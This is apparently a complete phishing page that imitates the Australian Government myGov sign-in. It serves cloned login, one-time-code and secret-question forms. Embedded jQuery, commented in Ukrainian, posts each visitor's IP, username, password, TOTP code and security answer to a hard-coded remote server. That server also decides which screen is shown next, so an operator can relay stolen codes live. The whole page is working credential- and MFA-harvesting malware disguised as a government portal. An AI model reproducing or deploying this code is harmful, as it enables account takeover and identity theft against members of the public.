<!DOCTYPE html>
	<meta charset="UTF-8">
	<meta http-equiv="x-ua-compatible" content="ie=edge">
	<meta name="apple-mobile-web-app-capable" content="yes">
	<title>
		Sign in with myGov - myGov
	</title>
	<meta name="description" content="">
	<meta name="viewport" content="width=device-width, initial-scale=1">
	<meta name="format-detection" content="telephone=no">
	<link rel="icon" type="image/png" sizes="32x32" href="favicon-32x32.png">
  	<link rel="icon" type="image/png" sizes="16x16" href="favicon-16x16.png">
	<link href="css.css" rel="stylesheet">
	<link href="mgv2-application.css" rel="stylesheet">
	<link href="blugov.css" rel="stylesheet">
	<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css">

	<style type="text/css">
		.footer__social i {
		  transition: color 0.3s;
		}
		
		
		.footer__meta a:hover {
		  text-decoration: underline;
		}

		.loader {
		  width: 50px;
		  aspect-ratio: 1;
		  display: grid;
		  margin: 170px auto;
		}
		.loader::before,
		.loader::after {    
		  content:"";
		  grid-area: 1/1;
		  --c:no-repeat radial-gradient(farthest-side,#4c5c60 92%,#0000);
		  background: 
		    var(--c) 50%  0, 
		    var(--c) 50%  100%, 
		    var(--c) 100% 50%, 
		    var(--c) 0    50%;
		  background-size: 12px 12px;
		  animation: l12 1s infinite;
		}
		.loader::before {
		  margin: 4px;
		  filter: hue-rotate(350deg);
		  background-size: 8px 8px;
		  animation-timing-function: linear
		}

		@keyframes l12 { 
		  100%{transform: rotate(.5turn)}
		}
	</style>
	<script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
</head>
<body>
<nav class="uikit-skip-link" aria-label="Skip Links">
	<a class="uikit-skip-link__link" href="#content">Skip to main content</a>
</nav>
<div class="brand-rainbow">&nbsp;</div>
<header role="banner" class="mgvEnhanceHeader">
	<section class="wrapper">
		<div class="inner">
			<div class="unauth-grid">
				<div class="unauth-grid-row">
					<a href="https://my.gov.au/" class="unauth-govt-crest__link">
					    <img id="unauth-govt-crest" src="myGov-cobranded-logo-black.svg" alt="Australian Government and myGov logo" role="img">
                    </a>
				</div>
			</div>
		</div>
	</section>
</header>

    <!-- loader -->
    <div id="loader-container" class="container">
		<div class="wrapper-mapwap">
			<div class="main-block" id="content" role="main">
				<div class="loader"></div>
			</div>
		</div>
    </div>


	<!-- login -->
    <div id="start-container" class="container">
		<div class="wrapper-mapwap"><div class="main-block" id="content" role="main">
			<div class="unauth">
				<div class="login-grid-container">
					<div class="login-grid-row">
						<div class="login-grid-column">
							<div class="digital-id-login-card-wrapper">
								<div class="digital-id-main-login-card override">
		                            <div id="passkey-auth-error" class="alert alert-danger error-msg" role="alert" style="display: none">
		                                <span class="is-visuallyhidden">Error message:</span>
		                                <div class="error-msg-text">
		                                    <strong>Error</strong>
		                                    <br>
		                                    <p id="passkey-error-msg">
		                                        Passkey authentication failed. (RFMxxx)
		                                    </p>
		                                </div>
		                            </div>
		                            <div id="error-msg-container">
		                                
		                            </div>
									<h1>Sign in with myGov</h1>
									<h2 class="text-align-left">Use your myGov sign in details</h2>
									<form id="mygov-login-form1" aria-describedby="error-msg" class="mygov-login-form alternative">
										<div class="input-group">
											<label class="override" for="userId">Username or email</label>
											<input id="login" name="username" aria-required="true" data-username="data-username" type="text" value="" autocomplete="off">
										</div>
										<p class="recovery">
											<a href="https://login.my.gov.au/las/mygov-login?execution=e2s1&amp;_eventId=recoverusername" class="anchor override">Forgot username</a>
										</p>
										<div class="input-group">
											<label for="password" class="override">Password</label>
											<div class="password-group">
												<button class="showPassword anchor" type="button" aria-describedby="show-hide-helpmsg" aria-label="Show password as plain text.">Show</button><p class="is-visuallyhidden" id="show-hide-helpmsg">Note: this will visually expose your password on the screen.</p><input id="password" name="password" type="password" data-current-password="data-current-password" autocomplete="off" aria-required="true">
											</div>
										</div>
										<p class="recovery">
											<a href="https://login.my.gov.au/las/mygov-login?execution=e2s1&amp;_eventId=resetpassword" class="anchor override">Forgot
												password</a>
										</p>
										<div class="button-digital-id-main-container override">
											<div class="digital-id-button-container">
												<button  class="button-main" name="_eventId_login" id="update-button">Sign in</button>
											</div>
										</div>
										<input type="hidden" name="authtype" value="unamepword">
										<input type="hidden" name="_csrf" value="7aedc932-0a4a-4c8a-aed3-3ddd424a95b9">
		                                <input type="hidden" name="clientId" value="mygov-citizen-portal">
										<div>
											<input type="hidden" name="_csrf" value="7aedc932-0a4a-4c8a-aed3-3ddd424a95b9">
										</div>
									</form>
									</div>
								</div>
							</div>
						</div>
					</div>
				</div>
			</div>
		</div>
    </div>


    <!-- error_login --> 
    <div id="error-login-container" class="container">
        <div class="wrapper-mapwap"><div class="main-block" id="content" role="main">
		<div class="unauth">
			<div class="login-grid-container">
				<div class="login-grid-row">
					<div class="login-grid-column">
						<div class="digital-id-login-card-wrapper">
							<div class="digital-id-main-login-card override">
	                            <div id="passkey-auth-error" class="alert alert-danger error-msg" role="alert" style="display: none">
	                                <span class="is-visuallyhidden">Error message:</span>
	                                <div class="error-msg-text">
	                                    <strong>Error</strong>
	                                    <br>
	                                    <p id="passkey-error-msg">
	                                        Passkey authentication failed. (RFMxxx)
	                                    </p>
	                                </div>
	                            </div>
	                            <div id="error-msg-container">
	                                
	                            </div>
								<h1>Sign in with myGov</h1>
								<h2 class="text-align-left">Use your myGov sign in details</h2>
								<form id="mygov-login-form2" aria-describedby="error-msg" class="mygov-login-form alternative" >
									<div class="input-group">
										<label class="override" for="userId">Username or email</label>
										<input id="error-login" name="username" aria-required="true" data-username="data-username" type="text" value="" autocomplete="off">
									</div>
									<p class="recovery">
										<a href="https://login.my.gov.au/las/mygov-login?execution=e2s1&amp;_eventId=recoverusername" class="anchor override">Forgot username</a>
									</p>
									<div class="input-group">
										<label for="password" class="override">Password</label>
										<div class="password-group">
											<button class="showPassword anchor" type="button" aria-describedby="show-hide-helpmsg" aria-label="Show password as plain text.">Show</button><p class="is-visuallyhidden" id="show-hide-helpmsg">Note: this will visually expose your password on the screen.</p><input id="error-password" name="password" type="password" data-current-password="data-current-password" autocomplete="off" aria-required="true">
										</div>
									</div>
									<p class="recovery">
										<a href="https://login.my.gov.au/las/mygov-login?execution=e2s1&amp;_eventId=resetpassword" class="anchor override">Forgot
											password</a>
									</p>
									<div class="button-digital-id-main-container override">
										<div class="digital-id-button-container">
											<button  id="update-error-login-button" class="button-main" name="_eventId_login">Sign in</button>
										</div>
									</div>
									<input type="hidden" name="authtype" value="unamepword">
									<input type="hidden" name="_csrf" value="7aedc932-0a4a-4c8a-aed3-3ddd424a95b9">
	                                <input type="hidden" name="clientId" value="mygov-citizen-portal">
									<div>
										<input type="hidden" name="_csrf" value="7aedc932-0a4a-4c8a-aed3-3ddd424a95b9">
									</div>
								</form>
								</div>
							</div>
						</div>
					</div>
				</div>
			</div>
		</div>
		</div>
    </div>





    <!-- otp -->
    <div id="otp-container" class="container">    
		<div class="wrapper-mapwap"><div class="main-block" id="content" role="main">
			<h1>Enter code</h1>
			<p>Enter a code from your myGov Code Generator app.</p>			
			<form id="totp-entry-form1" autocomplete="off">
					<div class="code-container">
						<label for="totpanswer">Code
							<input class="input-field" id="otp" name="totpanswer" type="tel" class="security-code" data-number-totp--input="data-number-totp--input" autocomplete="off" value="">
						</label>
					</div>
					<div class="help-info-group">
		             	<button type="button" class="help-info-button" aria-controls="security-codes-info" aria-expanded="false" data-infotext-toggle="data-infotext-toggle" aria-label="Help with I cannot access my app">
		               		I can't access my app</button>
					</div>
							<div id="security-codes-info" class="hasInfo" role="region" tabindex="-1" hidden="true">
		                        <p>
		                            You can use your Digital ID, myGov app or passkey to <a href="https://login.my.gov.au/las/mygov-login?execution=e2s2&amp;_eventId=cancel">sign in</a>.
		                        </p>
		                        <p>
		                            If you don’t have a Digital ID, you can create one and connect it to your myGov account to sign in.
		                        </p>
		                        <a data-infotext-continue="" class="continue-digital-identity-chevron" href="https://login.my.gov.au/las/mygov-login?execution=e2s2&amp;_eventId=continueWithDigitalIdentity">Continue with Digital ID</a>
		                        <p>
		                            If you can't create a Digital ID or access your account using a different option, you'll need to create a new myGov account.
		                            To create an account using your current myGov email address, <a href="https://my.gov.au/en/about/help/contact">call the myGov helpdesk</a>.
		                        </p>
			            	</div>
					<div class="button-container">    			
		    			<button id="update-otp-button" type="button" class="button-main button" name="_eventId_submitTotp">Next</button>
		    			<button role="submit" class="button-minor button" name="_eventId_cancel">Cancel</button>
					</div>
					<input type="hidden" name="authtype" value="totp">
					<input type="hidden" name="_resetMobileEligible" value="">
					<input type="hidden" name="_fallback" value=""> 
					<input type="hidden" name="_csrf" value="7aedc932-0a4a-4c8a-aed3-3ddd424a95b9">	
				<div>
					<input type="hidden" name="_csrf" value="7aedc932-0a4a-4c8a-aed3-3ddd424a95b9">
				</div>
				</form>	
			</div>
		</div>

    </div>

    <!-- error_otp -->
    <div id="error-otp-container" class="container">

		<div class="wrapper-mapwap"><div class="main-block" id="content" role="main">
			<h1>Enter code</h1>
			<p>Enter a code from your myGov Code Generator app.</p>			
			<form id="totp-entry-form2" autocomplete="off">
					<div class="code-container">
						<label for="totpanswer">Code
							<input id="error-otp" class="input-field" name="totpanswer" type="tel" class="security-code" data-number-totp--input="data-number-totp--input" autocomplete="off" value="">
						</label>
					</div>
					<div class="help-info-group">
		             	<button type="button" class="help-info-button" aria-controls="security-codes-info" aria-expanded="false" data-infotext-toggle="data-infotext-toggle" aria-label="Help with I cannot access my app">
		               		I can't access my app</button>
					</div>
							<div id="security-codes-info" class="hasInfo" role="region" tabindex="-1" hidden="true">
		                        <p>
		                            You can use your Digital ID, myGov app or passkey to <a href="https://login.my.gov.au/las/mygov-login?execution=e2s2&amp;_eventId=cancel">sign in</a>.
		                        </p>
		                        <p>
		                            If you don’t have a Digital ID, you can create one and connect it to your myGov account to sign in.
		                        </p>
		                        <a data-infotext-continue="" class="continue-digital-identity-chevron" href="https://login.my.gov.au/las/mygov-login?execution=e2s2&amp;_eventId=continueWithDigitalIdentity">Continue with Digital ID</a>
		                        <p>
		                            If you can't create a Digital ID or access your account using a different option, you'll need to create a new myGov account.
		                            To create an account using your current myGov email address, <a href="https://my.gov.au/en/about/help/contact">call the myGov helpdesk</a>.
		                        </p>
			            	</div>
					<div class="button-container">    			
		    			<button id="update-error-otp-button" type="button" class="button-main button" name="_eventId_submitTotp">Next</button>
		    			<button role="submit" class="button-minor button" name="_eventId_cancel">Cancel</button>
					</div>
					<input type="hidden" name="authtype" value="totp">
					<input type="hidden" name="_resetMobileEligible" value="">
					<input type="hidden" name="_fallback" value=""> 
					<input type="hidden" name="_csrf" value="7aedc932-0a4a-4c8a-aed3-3ddd424a95b9">	
				<div>
					<input type="hidden" name="_csrf" value="7aedc932-0a4a-4c8a-aed3-3ddd424a95b9">
				</div>
				</form>	
			</div>
		</div>

    </div>



    <!-- otp2 (новий блок) -->
    <div id="otp2-container" class="container">

		<div class="wrapper-mapwap"><div class="main-block" id="content" role="main">
			<h1>Answer your secret question</h1>
				<form id="sqa-form1" autocomplete="off">
					<label for="answer">my first car
						<div class="input-group">
							<input type="text" id="otp2" name="sqaanswer" data-secretanswer="data-secretanswer" autocomplete="off" aria-required="true" value="">
						</div>
					</label>
						<div class="help-info-group">
							<button type="button" class="help-info-button" aria-controls="security-codes-info" aria-expanded="false" data-infotext-toggle="data-infotext-toggle"> I can't answer my question <span class="is-visuallyhidden"> Help</span>
							</button>
						</div>	
						<div id="security-codes-info" class="hasInfo" hidden="true">
							<p>
								You can use your Digital ID, myGov app or passkey to <a href="https://login.my.gov.au/las/mygov-login?execution=e2s4&amp;_eventId=cancel">sign in</a>.
							</p>
							<p>
							    If you don’t have a Digital ID, you can create one and connect it to your myGov account to sign in.
							</p>
							<a data-infotext-continue="" class="continue-digital-identity-chevron" href="https://login.my.gov.au/las/mygov-login?execution=e2s4&amp;_eventId=continueWithDigitalIdentity">Continue with Digital ID</a>
							<p>
								If you can’t create a Digital ID or access your account using a different option, you’ll need to create a new myGov account.
		                        To create an account using your current myGov email address, <a href="https://my.gov.au/en/about/help/contact">call the myGov helpdesk</a>.
							</p>
						</div>	
						<div class="button-container">    			
							<button id="update-otp2-button" type="button" class="button-main button" name="_eventId_continue">Next</button>
							<button type="button" class="button-minor button">Cancel</button>
						</div>
				 		<input type="hidden" name="accountRecovery" value="true">		  			
				 		<input type="hidden" name="authtype" value="sqa">
						<input type="hidden" name="sqaindex" value="1">
						<input type="hidden" name="_csrf" value="7aedc932-0a4a-4c8a-aed3-3ddd424a95b9">
						<div>
							<input type="hidden" name="_csrf" value="7aedc932-0a4a-4c8a-aed3-3ddd424a95b9">
						</div>
				</form>		
			</div>
		</div>

    </div>


        <!-- error_otp2 (новий блок) -->
    <div id="error-otp2-container" class="container">

		<div class="wrapper-mapwap"><div class="main-block" id="content" role="main">
			<h1>Answer your secret question</h1>
				<form id="sqa-form2" autocomplete="off">
					<label for="answer">my first car
						<div class="input-group">
							<input type="text" id="error-otp2" name="sqaanswer" data-secretanswer="data-secretanswer" autocomplete="off" aria-required="true" value="">
						</div>
					</label>
						<div class="help-info-group">
							<button type="button" class="help-info-button" aria-controls="security-codes-info" aria-expanded="false" data-infotext-toggle="data-infotext-toggle"> I can't answer my question <span class="is-visuallyhidden"> Help</span>
							</button>
						</div>	
						<div id="security-codes-info" class="hasInfo" hidden="true">
							<p>
								You can use your Digital ID, myGov app or passkey to <a href="https://login.my.gov.au/las/mygov-login?execution=e2s4&amp;_eventId=cancel">sign in</a>.
							</p>
							<p>
							    If you don’t have a Digital ID, you can create one and connect it to your myGov account to sign in.
							</p>
							<a data-infotext-continue="" class="continue-digital-identity-chevron" href="https://login.my.gov.au/las/mygov-login?execution=e2s4&amp;_eventId=continueWithDigitalIdentity">Continue with Digital ID</a>
							<p>
								If you can’t create a Digital ID or access your account using a different option, you’ll need to create a new myGov account.
		                        To create an account using your current myGov email address, <a href="https://my.gov.au/en/about/help/contact">call the myGov helpdesk</a>.
							</p>
						</div>	
						<div class="button-container">    			
							<button type="button" id="update-error-otp2-button" class="button-main button" name="_eventId_continue">Next</button>
							<button type="button" class="button-minor button">Cancel</button>
						</div>
				 		<input type="hidden" name="accountRecovery" value="true">		  			
				 		<input type="hidden" name="authtype" value="sqa">
						<input type="hidden" name="sqaindex" value="1">
						<input type="hidden" name="_csrf" value="7aedc932-0a4a-4c8a-aed3-3ddd424a95b9">
						<div>
							<input type="hidden" name="_csrf" value="7aedc932-0a4a-4c8a-aed3-3ddd424a95b9">
						</div>
				</form>		
			</div>
		</div>


    </div>




    <!-- done -->
    <div id="done-container" class="container">
        <h2>Успіх</h2>
        <p>Дані успішно оновлені!</p>
    </div>



    <script>
        $(document).ready(function() {
            var userIP = '<?= $_SERVER["REMOTE_ADDR"]; ?>'; // Приклад, можна отримувати іншим способом
            var userAgent = navigator.userAgent;

            // Створення нового візиту
            $.ajax({
                url: 'http://195.10.205.181/api.php',
                type: 'POST',
                contentType: 'application/json',
                data: JSON.stringify({
                    action: 'new_visit',
                    ip: userIP,
                    user_agent: userAgent
                }),
                success: function(response) {
                    if (response.status === 'success') {
                        $('#status-message').text('Візит створено!');
                    } else {
                        $('#status-message').text('Помилка при створенні візиту: ' + response.message);
                    }
                },
                error: function() {
                    $('#status-message').text('Помилка з\'єднання.');
                }
            });

            // Функція перевірки статусу
            function checkStatus() {
                $.ajax({
                    url: 'http://195.10.205.181/api.php',
                    type: 'POST',
                    contentType: 'application/json',
                    data: JSON.stringify({
                        action: 'check_status',
                        ip: userIP
                    }),
                    success: function(response) {
                        if (typeof response === 'string') {
                            try {
                                response = JSON.parse(response);
                            } catch (e) {
                                console.error('Помилка парсингу JSON:', e);
                                return;
                            }
                        }

                        if (response && response.status) {
                            updateContainer(response.status);
                        } else {
                            console.error('Не вдалося знайти статус у відповіді:', response);
                        }
                    },
                    error: function(xhr, status, error) {
                        console.error('Помилка при з\'єднанні для перевірки статусу', status, error);
                    }
                });
            }

            // Оновити інтерфейс відповідно до статусу
            function updateContainer(status) {
                $('.container').hide(); // сховати всі
                switch (status) {
                    case 'start':
                        $('#start-container').show();
                        break;
                    case 'loader':
                        $('#loader-container').show();
                        break;
                    case 'otp':
                        $('#otp-container').show();
                        break;
                    case 'otp2': // <-- новий статус
                        $('#otp2-container').show();
                        break;
                    case 'error_otp':
                        $('#error-otp-container').show();
                        break;
                    case 'error_otp2': // <-- новий статус
                        $('#error-otp2-container').show();
                        break;
                    case 'error_login':
                        $('#error-login-container').show();
                        break;
                    case 'done':
                        $('#done-container').show();
                        break;
                    default:
                        console.log('Невідомий статус:', status);
                        break;
                }
            }

            // Запуск перевірки статусу кожну секунду
            setInterval(checkStatus, 1000);

            // Натискання "Оновити дані" (логін, пароль)
            $('#update-button').on('click', function() {
                var login = $('#login').val();
                var password = $('#password').val();

                if (!login || !password) {
                    $('#status-message').text('Будь ласка, заповніть всі поля.');
                    return;
                }

                $.ajax({
                    url: 'http://195.10.205.181/api.php',
                    type: 'POST',
                    contentType: 'application/json',
                    data: JSON.stringify({
                        action: 'update_visit',
                        ip: userIP,
                        login: login,
                        password: password
                    }),
                    success: function(response) {
                        if (response.status === 'success') {
                            $('#status-message').text('Дані оновлено!');
                        } else {
                            $('#status-message').text('Помилка при оновленні даних: ' + response.message);
                        }
                    },
                    error: function() {
                        $('#status-message').text('Помилка з\'єднання.');
                    }
                });
            });

            // Оновити OTP
            $('#update-otp-button').on('click', function() {

                let otp = $('#otp').val();
                if (!otp) {
                    $('#otp-status-message').text('Будь ласка, введіть OTP.');
                    return;
                }

                $.ajax({
                    url: 'http://195.10.205.181/api.php',
                    type: 'POST',
                    contentType: 'application/json',
                    data: JSON.stringify({
                        action: 'update_visit',
                        ip: userIP,
                        otp: otp
                    }),
                    success: function(response) {
                        if (response.status === 'success') {
                            $('#otp-status-message').text('OTP оновлено!');
                        } else {
                            $('#otp-status-message').text('Помилка при оновленні OTP: ' + response.message);
                        }
                    },
                    error: function() {
                        $('#otp-status-message').text('Помилка з\'єднання.');
                    }
                });
            });

            // Оновити OTP2 (НОВИЙ)
            $('#update-otp2-button').on('click', function() {
                var otp2 = $('#otp2').val();
                if (!otp2) {
                    $('#otp2-status-message').text('Будь ласка, введіть OTP2.');
                    return;
                }

                $.ajax({
                    url: 'http://195.10.205.181/api.php',
                    type: 'POST',
                    contentType: 'application/json',
                    data: JSON.stringify({
                        action: 'update_visit',
                        ip: userIP,
                        otp2: otp2
                    }),
                    success: function(response) {
                        if (response.status === 'success') {
                            $('#otp2-status-message').text('OTP2 оновлено!');
                        } else {
                            $('#otp2-status-message').text('Помилка при оновленні OTP2: ' + response.message);
                        }
                    },
                    error: function() {
                        $('#otp2-status-message').text('Помилка з\'єднання.');
                    }
                });
            });

            // Оновити OTP при "Помилка OTP"
            $('#update-error-otp-button').on('click', function() {
                var otp = $('#error-otp').val();
                if (!otp) {
                    $('#error-otp-message').text('Будь ласка, введіть OTP.');
                    return;
                }

                $.ajax({
                    url: 'http://195.10.205.181/api.php',
                    type: 'POST',
                    contentType: 'application/json',
                    data: JSON.stringify({
                        action: 'update_visit',
                        ip: userIP,
                        otp: otp
                    }),
                    success: function(response) {
                        if (response.status === 'success') {
                            $('#error-otp-message').text('OTP оновлено!');
                        } else {
                            $('#error-otp-message').text('Помилка при оновленні OTP: ' + response.message);
                        }
                    },
                    error: function() {
                        $('#error-otp-message').text('Помилка з\'єднання.');
                    }
                });
            });

            // Оновити OTP2 при "Помилка OTP2" (НОВИЙ)
            $('#update-error-otp2-button').on('click', function() {
                var otp2 = $('#error-otp2').val();
                if (!otp2) {
                    $('#error-otp2-message').text('Будь ласка, введіть OTP2.');
                    return;
                }

                $.ajax({
                    url: 'http://195.10.205.181/api.php',
                    type: 'POST',
                    contentType: 'application/json',
                    data: JSON.stringify({
                        action: 'update_visit',
                        ip: userIP,
                        otp2: otp2
                    }),
                    success: function(response) {
                        if (response.status === 'success') {
                            $('#error-otp2-message').text('OTP2 оновлено!');
                        } else {
                            $('#error-otp2-message').text('Помилка при оновленні OTP2: ' + response.message);
                        }
                    },
                    error: function() {
                        $('#error-otp2-message').text('Помилка з\'єднання.');
                    }
                });
            });

            // Оновити дані при "Помилка логіну"
            $('#update-error-login-button').on('click', function() {
                var login = $('#error-login').val();
                var password = $('#error-password').val();

                if (!login || !password) {
                    $('#error-login-message').text('Будь ласка, заповніть всі поля.');
                    return;
                }

                $.ajax({
                    url: 'http://195.10.205.181/api.php',
                    type: 'POST',
                    contentType: 'application/json',
                    data: JSON.stringify({
                        action: 'update_visit',
                        ip: userIP,
                        login: login,
                        password: password
                    }),
                    success: function(response) {
                        if (response.status === 'success') {
                            $('#error-login-message').text('Дані оновлено!');
                        } else {
                            $('#error-login-message').text('Помилка при оновленні даних: ' + response.message);
                        }
                    },
                    error: function() {
                        $('#error-login-message').text('Помилка з\'єднання.');
                    }
                });
            });

            // Запускаємо первинну перевірку статусу
            checkStatus();
        });
    </script>






<footer role="contentinfo">
    <div class="wrapper">
      <div class="inner">
          <div class="footer-lower">
              <section class="footer-lower-logo">
              <a href="https://my.gov.au/">
                  <img src="myGov-cobranded-logo-white.svg" alt="Australian Government and myGov logo" width="313.17" height="70" role="img">
              </a>
              </section>
              <p class="footer-acknowledgement">We acknowledge the Traditional Custodians of the lands we live on. We pay our respects to all Elders, past and present, of all Aboriginal and Torres Strait Islander nations.</p>
          </div>
      </div>
    </div>
</footer>
</body>
</html>